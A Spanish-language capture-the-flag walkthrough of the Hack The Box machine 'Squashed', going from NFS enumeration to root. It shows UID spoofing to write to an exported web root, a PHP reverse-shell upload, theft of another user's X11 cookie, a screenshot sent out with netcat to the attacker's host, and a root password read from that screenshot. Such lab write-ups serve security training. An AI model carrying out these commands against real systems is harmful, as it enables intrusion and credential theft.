Descripción
Squashed es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Carpeta compartida NFS permite subir archivos a un servidor web permitiendo ejecución de comandos remotos
- Carpeta compartida NFS permite leer la cookie de autenticación X11 de otro usuario
- Escalada de Privilegios al utilizar una credencial filtrada en una captura de pantalla de una pantalla X11
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.191.
$ ping -c 3 10.10.11.191
PING 10.10.11.191 (10.10.11.191) 56(84) bytes of data.
64 bytes from 10.10.11.191: icmp_seq=1 ttl=63 time=44.0 ms
64 bytes from 10.10.11.191: icmp_seq=2 ttl=63 time=45.1 ms
64 bytes from 10.10.11.191: icmp_seq=3 ttl=63 time=42.9 ms
--- 10.10.11.191 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 42.915/44.036/45.147/0.911 ms
La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP SYN para verificar todos los puertos abiertos.
$ sudo nmap 10.10.11.191 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.191
Host is up (0.045s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds
Obtenemos cuatro puertos abiertos: 22, 80, 111 y 2049.
Enumeración
Después hacemos un escaneo más avanzado, con versión del servicio y scripts.
$ nmap 10.10.11.191 -sV -sC -p22,80,111,2049 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.191
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
...
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs 3-4 (RPC #100003)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.26 seconds
Obtenemos tres servicios: uno Secure Shell (SSH), uno Hypertext Transfer Protocol (HTTP) y uno Network File System (NFS). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio NFS. Añadimos el dominio squashed.htb al archivo /etc/hosts.
$ echo '10.10.11.191 squashed.htb' | sudo tee -a /etc/hosts
Enumeramos el servicio NFS para montajes públicos. Encontramos dos: el directorio de inicio del usuario ross, /home/ross y el directorio raíz del servidor HTTP, /var/www/html.
$ showmount -e squashed.htb
Export list for squashed.htb:
/home/ross *
/var/www/html *
Montamos el directorio raíz del servidor web y lo enumeramos:
$ mkdir server
$ sudo mount -t nfs squashed.htb:/var/www/html ./server -o nolock
$ ls -l server
...
total 0
?????????? ? ? ? ? ? css
?????????? ? ? ? ? ? images
?????????? ? ? ? ? ? index.html
?????????? ? ? ? ? ? js
$ ls -l
total 16
...
drwxr-xr-- 5 2017 www-data 4096 server
Encontramos que no tenemos permisos para leer los archivos contenidos en la carpeta, pero podemos enumerar los permisos de la carpeta en su lugar. Encontramos que la carpeta es propiedad de un usuario con identificador de usuario de 2017.
Explotación
Podemos suplantar a ese usuario creando un usuario temporal en nuestra máquina con ese identificador de usuario y grupo. Luego nos movemos a ese usuario y a la carpeta (necesitamos remontarla en un directorio común.
$ umount ./server
$ mkdir /tmp/server
$ sudo mount -t nfs squashed.htb:/var/www/html /tmp/server -o nolock
$ sudo useradd tempuser
$ sudo usermod -u 2017 tempuser
$ sudo groupmod -g 2017 tempuser
$ sudo su tempuser
$ cd /tmp/server
$ ls -l
total 44
drwxr-xr-x 2 tempuser www-data 4096 css
drwxr-xr-x 2 tempuser www-data 4096 images
-rw-r----- 1 tempuser www-data 32532 index.html
drwxr-xr-x 2 tempuser www-data 4096 js
Ahora podemos comprobar el contenido de la carpeta y tenemos permisos para escribir archivos. Como vimos previamente, la máquina ejecuta un servidor Apache, por lo que podría soportar la ejecución de archivos PHP, por lo que podemos obtener la ejecución de comandos remotos con una terminal inversa. Abrimos un puerto de escucha nc -nvlp 1234.
$ bash -i
tempuser@k:/tmp/server$ cp /usr/share/webshells/php/php-reverse-shell.php .
tempuser@k:/tmp/server$ nano php-reverse-shell.php
Entonces activamos la vulnerabilidad enviando una solicitud HTTP al servidor. Recibimos una terminal inversa como el usuario alex, la elevamos.
$ curl 'http://squashed.htb/php-reverse-shell.php'
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.191] 57944
Linux squashed.htb 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
22:46:16 up 30 min, 1 user, load average: 0.01, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ross tty7 :0 22:16 29:59 1.93s 0.02s /usr/libexec/gnome-session-binary --systemd --session=gnome
uid=2017(alex) gid=2017(alex) groups=2017(alex)
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, file is /dev/null
alex@squashed:/$ ^Z
$ stty raw -echo; fg
$ reset xterm
alex@squashed:/$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Explotación
Encontramos tres usuarios de consola en el sistema: root, alex y ross.
alex@squashed:/$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
alex:x:2017:2017::/home/alex:/bin/bash
ross:x:1001:1001::/home/ross:/bin/sh
fwupd-refresh:x:124:131:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
Podemos listar el directorio home del usuario ross.
alex@squashed:/$ ls -la /home/ross
total 68
drwxr-xr-x 14 ross ross 4096 Oct 21 2022 .
drwxr-xr-x 4 root root 4096 Oct 21 2022 ..
-rw------- 1 ross ross 57 Oct 21 2022 .Xauthority
lrwxrwxrwx 1 root root 9 Oct 20 2022 .bash_history -> /dev/null
drwx------ 11 ross ross 4096 Oct 21 2022 .cache
drwx------ 12 ross ross 4096 Oct 21 2022 .config
...
Encontramos el archivo .Xauthority, lo que significa que el sistema X11 de ventanas está activo y probablemente está mostrando una interfaz gráfica. En este archivo hay una cookie para autenticarse con las sesiones X. Podemos reutilizar el método que utilizamos anteriormente para subir el archivo y leer el archivo desde nuestra máquina.
$ sudo umount /tmp/server
$ sudo mount -t nfs squashed.htb:/home/ross /tmp/server -o nolock
$ sudo userdel tempuser
$ sudo useradd tempuser
$ sudo usermod -u 1001 tempuser
$ sudo groupmod -g 1001 tempuser
$ sudo su tempuser
$ cd /tmp/server
$ cat .Xauthority | base64
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABAB/cF6D79VvQu0VUqH20QE
Regresamos a la terminal y copiamos el contenido del archivo a otro archivo.
alex@squashed:/$ echo 'AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABAB/cF6D79VvQu0VUqH20QE' | base64 -d > /tmp/cookie
Entonces tomamos una captura de pantalla de la pantalla con la herramienta xwd y luego la extraemos.
alex@squashed:/$ XAUTHORITY=/tmp/cookie xwd -root -screen -display :0 > /tmp/image.xwd
alex@squashed:/$ cat /tmp/image.xwd | nc 10.10.14.16 1235
Recibimos la imagen y la convertimos al formato png.
$ nc -nvlp 1235 > image.xwd
$ convert image.xwd image.png
Encontramos que la imagen es una captura del programa KeePassXC con la contraseña root, cah$mei7rai9A. Iniciamos sesión utilizando la herramienta su para obtener la terminal root.
alex@squashed:/$ su root
Password:
root@squashed:/# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la terminal root podemos recuperar las flags user.txt y root.txt.
root@squashed:/# cat /home/alex/user.txt
<REDACTED>
root@squashed:/# cat /root/root.txt
<REDACTED>